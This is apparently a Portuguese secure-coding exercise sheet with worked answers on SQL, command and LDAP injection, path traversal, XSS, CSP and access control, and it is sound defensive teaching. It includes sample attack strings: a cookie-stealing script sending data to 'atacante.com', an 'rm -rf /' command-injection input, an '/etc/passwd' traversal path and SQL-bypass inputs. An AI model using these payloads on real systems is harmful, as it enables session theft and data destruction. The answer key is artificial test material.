Ficha 01 · Vulnerabilidades comuns
- Reconhecer SQL injection
- Prevenir XSS
- Implementar access control
- Identificar vulnerabilidades
Parte I · Injection
Exercício 1 · Identificar SQL injection (15 pts)
Este código está vulnerável a SQL injection. Indica:
nome = request.form["nome"]
query = f"SELECT * FROM users WHERE nome = '{nome}' AND ativo = 1"
cursor.execute(query)
a) Que input malicioso pode bypassar a verificação ativo = 1?
b) Como corrigir?
a) Input malicioso:
Ana' OR '1'='1' --
Resulta em:
SELECT * FROM users WHERE nome = 'Ana' OR '1'='1' --' AND ativo = 1
Os -- comentam o resto; '1'='1' é sempre verdadeiro; devolve todos os utilizadores (incluindo inactivos).
b) Correcção:
cursor.execute(
"SELECT * FROM users WHERE nome = %s AND ativo = 1",
(nome,)
)
Driver escapa automaticamente; input do utilizador é tratado como valor, nunca como SQL.
Exercício 2 · Outras injections (10 pts)
Para cada caso indica o tipo de injection e como prevenir:
a) os.system(f"convert {file} out.png") — input vem do user.
b) Endereço LDAP construído com f"(uid={user})".
c) Em loja online, URL ?file=../../etc/passwd.
a) Command injection.
Input malicioso: image.jpg; rm -rf /.
Prevenção: subprocess.run(["convert", file, "out.png"], shell=False) ou validar nome contra whitelist.
b) LDAP injection.
Input malicioso: *)(uid=* poderia listar todos os utilizadores.
Prevenção: escape de caracteres especiais LDAP ((, ), *, etc.) ou usar bind parameters da biblioteca LDAP.
c) Path traversal.
Permite leitura de qualquer ficheiro do servidor.
Prevenção: validar contra whitelist, usar os.path.realpath() e verificar que está dentro da pasta autorizada, ou armazenar referências numéricas em vez de nomes.
Parte II · XSS
Exercício 3 · Identificar XSS (15 pts)
Este template Jinja2 está vulnerável:
<div>{{ comentario|safe }}</div>
a) Porquê? O que torna isto perigoso?
b) Que ataques são possíveis?
c) Como corrigir mantendo formatação simples (negrito, itálico)?
a) |safe diz ao Jinja2 para não escapar o HTML — interpreta-o como markup. Se comentario vier de input do utilizador, qualquer tag HTML/JS executa.
b) Ataques possíveis:
- Roubo de cookies: <script>fetch('http://atacante.com?c='+document.cookie)</script>.
- Phishing: inserir form que rouba credenciais.
- Defacement: alterar visual da página para outros utilizadores.
- Keylogger: capturar tudo o que utilizador digita.
c) Correcção:
Remover |safe (escape automático trata < como <):
<div>{{ comentario }}</div>
Se precisar permitir formatação:
import bleach
comentario_seguro = bleach.clean(
comentario,
tags=["b", "i", "u", "p", "br"],
attributes={}
)
E continuar sem |safe no template — bleach já sanitizou.
Exercício 4 · CSP (10 pts)
a) O que é Content Security Policy?
b) Que header HTTP exemplo definirias para um site só com recursos próprios?
a) CSP (Content Security Policy) é um header HTTP que diz ao browser de onde pode carregar scripts, imagens, CSS, fontes, etc. Mitiga XSS porque mesmo que atacante consiga injectar <script>, o browser bloqueia execução se não vier de origem aprovada.
b) Exemplo restritivo:
Content-Security-Policy: default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'
default-src 'self'— só do próprio domínio.img-src 'self' data:— imagens próprias + base64 inline.style-src 'self' 'unsafe-inline'— CSS próprio + inline (idealmente eliminar inline).script-src 'self'— JS só próprio.
Parte III · Access Control
Exercício 5 · Broken access control (15 pts)
Este código tem uma vulnerabilidade. Identifica e corrige:
@app.route("/api/encomendas/<int:id>")
@login_required
def ver_encomenda(id):
enc = Encomenda.query.get(id)
return jsonify(enc.to_dict())
Problema: verifica se utilizador está autenticado, mas não verifica se a encomenda lhe pertence.
Utilizador autenticado pode mudar id na URL e ver encomendas de outros utilizadores (IDOR — Insecure Direct Object Reference).
Correcção:
@app.route("/api/encomendas/<int:id>")
@login_required
def ver_encomenda(id):
enc = Encomenda.query.get_or_404(id)
if enc.cliente_id != current_user.id and not current_user.is_admin:
abort(403)
return jsonify(enc.to_dict())
Verifica que: - Encomenda existe (404 se não). - Pertence ao utilizador autenticado (ou utilizador é admin). - Devolve 403 Forbidden se não tiver permissão.
Exercício 6 · Verificação no servidor (10 pts)
Frontend esconde botão "Apagar utilizador" para utilizadores não-admin. Backend permite a qualquer utilizador autenticado fazer DELETE /users/123. Está seguro?
Não. A verificação no frontend é só UX — qualquer utilizador pode usar curl/Postman para fazer DELETE directamente.
Solução: verificação no backend:
@app.route("/users/<int:id>", methods=["DELETE"])
@login_required
def apagar_user(id):
if not current_user.is_admin:
abort(403)
user = User.query.get_or_404(id)
db.session.delete(user)
db.session.commit()
return "", 204
Regra: toda verificação de segurança no servidor. Frontend pode esconder/desactivar para UX, mas backend nunca confia.
Parte IV · Cenário
Exercício 7 · Auditoria de código (25 pts)
Identifica 5 problemas de segurança neste código:
import sqlite3
import hashlib
def login(request):
user = request.args["user"]
pwd = request.args["pwd"]
hashed = hashlib.md5(pwd.encode()).hexdigest()
conn = sqlite3.connect("app.db")
cursor = conn.cursor()
query = f"SELECT * FROM users WHERE nome='{user}' AND pwd='{hashed}'"
cursor.execute(query)
row = cursor.fetchone()
if row:
session["user_id"] = row[0]
return "<p>Bem-vindo " + user + "</p>"
return "Login failed"
Problemas:
-
SQL injection — query construída com f-string. Input
' OR '1'='1bypassa autenticação. Usar prepared statements. -
Hash inseguro — MD5 é quebrado, rápido demais para senhas. Usar bcrypt.
-
Credenciais em GET —
request.argslê query string; senha aparece em logs de servidor, browser history, referer. Usar POST com body. -
XSS —
"<p>Bem-vindo " + user + "</p>"concatena input sem escape. Input<script>...</script>executa. -
Sem rate limiting — atacante pode tentar milhares de senhas. Implementar throttling.
-
Sem logging de tentativas — falhas de login não são auditadas.
-
Resposta genérica não diferencia "user inexistente" de "senha errada" — bom para segurança, mas a mensagem "Login failed" deveria ser ainda mais vaga.
Versão corrigida:
import bcrypt
import logging
from flask import request, session, render_template_string
logger = logging.getLogger(__name__)
def login(request):
if request.method != "POST":
return "Method not allowed", 405
user = request.form.get("user")
pwd = request.form.get("pwd")
if not user or not pwd:
return "Bad request", 400
# Rate limiting (Flask-Limiter, etc.) — omitido por brevidade
with sqlite3.connect("app.db") as conn:
cursor = conn.cursor()
cursor.execute("SELECT id, pwd_hash FROM users WHERE nome = ?", (user,))
row = cursor.fetchone()
ok = row and bcrypt.checkpw(pwd.encode(), row[1].encode())
logger.info(f"Login attempt: user={user} success={ok} ip={request.remote_addr}")
if ok:
session["user_id"] = row[0]
return render_template_string("<p>Bem-vindo {{ user }}</p>", user=user)
return "Login failed", 401